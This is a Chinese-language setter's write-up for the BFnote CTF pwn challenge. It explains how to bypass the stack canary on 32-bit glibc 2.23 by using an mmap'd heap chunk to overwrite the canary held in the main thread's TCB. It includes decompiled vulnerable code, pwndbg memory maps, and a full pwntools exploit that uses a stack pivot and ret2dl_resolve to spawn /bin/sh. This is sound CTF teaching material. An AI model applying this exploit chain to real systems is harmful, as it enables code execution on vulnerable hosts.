春秋杯网络安全公益联赛 BFnote出题小结

新春战疫,为逆行者加油!

Posted by b0ldfrev on February 24, 2020

博客就快长草了

[出题思路]:

常规栈溢出的canary绕过方法有leak,fork爆破,劫持__stack_chk_fail,还有一种就是覆盖TLS中储存的Canary值。之前starctf2018中有一道babystack就是利用这一方法,但是那道题是跑了新个线程。

这样的话thread_stack线程栈中,TCB结构在thread_stack的高地址,当前栈帧在低地址,所以只要溢出长度够大就能覆盖到TCB中的canary。

但是对于主线程来说,在glibc2.23 32位环境下,TLS被初始化时存在一点问题,特殊情况下导致TCB结构的地址可定位

[writeup]:

1.检查题目保护,发现开了CANARY与NX

1
2
3
4
5
6
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.发现存在栈溢出与堆地址任意偏移写任意值 可利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned int __cdecl main()
{
  signed int i; // [esp+4h] [ebp-54h]
  int size; // [esp+8h] [ebp-50h]
  char *v3; // [esp+Ch] [ebp-4Ch]
  int v4; // [esp+14h] [ebp-44h]
  char description; // [esp+1Ah] [ebp-3Eh]
  unsigned int v6; // [esp+4Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  menu();
  fwrite("\nGive your description : ", 1u, 0x19u, stdout);
  memset(&description, 0, 0x32u);
  myread(0, &description, 1536);   //栈溢出
  fwrite("Give your postscript : ", 1u, 0x17u, stdout);
  memset(&postscript, 0, 0x64u);
  myread(0, &postscript, 1536);
  fwrite("\nGive your notebook size : ", 1u, 0x1Bu, stdout);
  size = get_long();
  v3 = (char *)malloc(size);
  memset(v3, 0, size);
  fwrite("Give your title size : ", 1u, 0x17u, stdout);
  v4 = get_long();
  for ( i = v4; size - 32 < i; i = get_long() )   //重复输入
    fwrite("invalid ! please re-enter :\n", 1u, 0x1Cu, stdout);
  fwrite("\nGive your title : ", 1u, 0x13u, stdout);
  myread(0, v3, i);
  fwrite("Give your note : ", 1u, 0x11u, stdout);
  read(0, &v3[v4 + 16], size - v4 - 16);  // 逻辑漏洞,错误的使用了重复输入之前的值,基于堆地址任意地址写
  fwrite("\nnow , check your notebook :\n", 1u, 0x1Du, stdout);
  fprintf(stdout, "title : %s", v3);
  fprintf(stdout, "note : %s", &v3[v4 + 16]);
  return __readgsdword(0x14u) ^ v6;

3.当一个函数被调用,当前线程的tcbhead_t.stack_guard会放置到栈上(也就是canary),32位下gs寄存器指向tcb,可以细看源码。在函数调用结束的时候,栈上的值被和tcbhead_t.stack_guard比较,如果两个值是不 相等的,程序将会返回error并且终止。

1
2
3
4
5
6
7
8
9
10
11
typedef struct {   
void *tcb;        /* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */   
dtv_t *dtv;   
void *self;       /* Pointer to the thread descriptor.  */   
int multiple_threads;   
int gscope_flag;   
uintptr_t sysinfo;   
uintptr_t stack_guard;   
uintptr_t pointer_guard;   
... } tcbhead_t; 

4.在glibc2.23-i386的环境下,main线程的tcb块被mmap初始化在libc内存布局上方。

1
2
3
4
    0x8048772    mov    eax, dword ptr gs:[0x14] 

EAX  0x5ba0b500

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> search -p 0x5ba0b500
                0xf7e00714 0x5ba0b500
[stack]         0xffffcecc 0x5ba0b500
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/b0ldfrev/icq/BFnote
 0x8049000  0x804a000 r--p     1000 0      /home/b0ldfrev/icq/BFnote
 0x804a000  0x804b000 rw-p     1000 1000   /home/b0ldfrev/icq/BFnote
0xf7e00000 0xf7e01000 rw-p     1000 0      
0xf7e01000 0xf7fb1000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p     3000 0      
0xf7fd3000 0xf7fd4000 rw-p     1000 0      
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p    f0000 0      [stack]

可以看到canary在0xf7e00714这个地址刚好在libc-2.23.so代码段上方

5.当调用malloc申请内存时,若size大于等 mmap分配阈值(默认值 128KB)0x200000时,malloc会调用mmap申请内存,且申请的内存可以观察到同样在libc上方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/b0ldfrev/icq/BFnote
 0x8049000  0x804a000 r--p     1000 0      /home/b0ldfrev/icq/BFnote
 0x804a000  0x804b000 rw-p     1000 1000   /home/b0ldfrev/icq/BFnote
0xf7bff000 0xf7e01000 rw-p   202000 0      
0xf7e01000 0xf7fb1000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p     3000 0      
0xf7fd3000 0xf7fd4000 rw-p     1000 0      
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p    f0000 0      [stack]

6.利用思路就是在最开始栈溢出的时候将canary填成值A,并做好栈迁移的准备,在.bss构造resolve数据, 申请notebook大小0x200000,使其地址在libc上方;tille大小故意输错成堆地址ptr到tcb中canary的偏移,二次输入时给一个正确值,这下在输入note内容时就可以修改tcb中canary的值为A。main函数返回时绕过canary检查,迁移去执行dl_rutime_resolve,有个坑是由于栈迁移,尽量迁移后抬到bss高地址处执行,resolve数据尽量放到比指令更高的地址。

7.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#[author]: b0ldfrev

p= process('./BFnote')

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk ''".format(p.pid)).readlines()[1], 16)
        print "breakpoint_addr --> " + hex(text_base + 0x202040)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr))) 

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


dl_resolve_data="\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x37\x66\x66\x5a\x6d\x59\x50\x47\x60\xa1\x04\x08\x07\x25\x02\x00\x73\x79\x73\x74\x65\x6d\x00"
dl_resolve_call="\x50\x84\x04\x08\x70\x20\x00\x00"



canary=0xdeadbe00
postscript=0x804A060
#correct=0x804a428

payload1="1"*0x32+p32(canary)+p32(0)+p32(postscript+4+0x3a8)

ru("description : ")
sd(payload1)


payload2="s"*0x3a8+dl_resolve_call+p32(0x12345678)+p32(postscript+0x3b8)+"/bin/sh\x00"+p64(0)+dl_resolve_data

ru("postscript : ")
sd(payload2)


ru("notebook size : ")
sl(str(0x200000))

ru("title size : ")
sl(str(0x20170c-0x10))

ru("please re-enter :\n")
sl(str(100))

ru("your title : ")
sl("2222")

ru("your note : ")

sd(p32(canary))

p.interactive()

8.程序我忘了设置sleep,所以还存在极小概率的canary爆破,比赛时间那么长,就3个字节嘛 ~ 手动狗头,如果各位大师傅还有非预期 欢迎讨论~

下载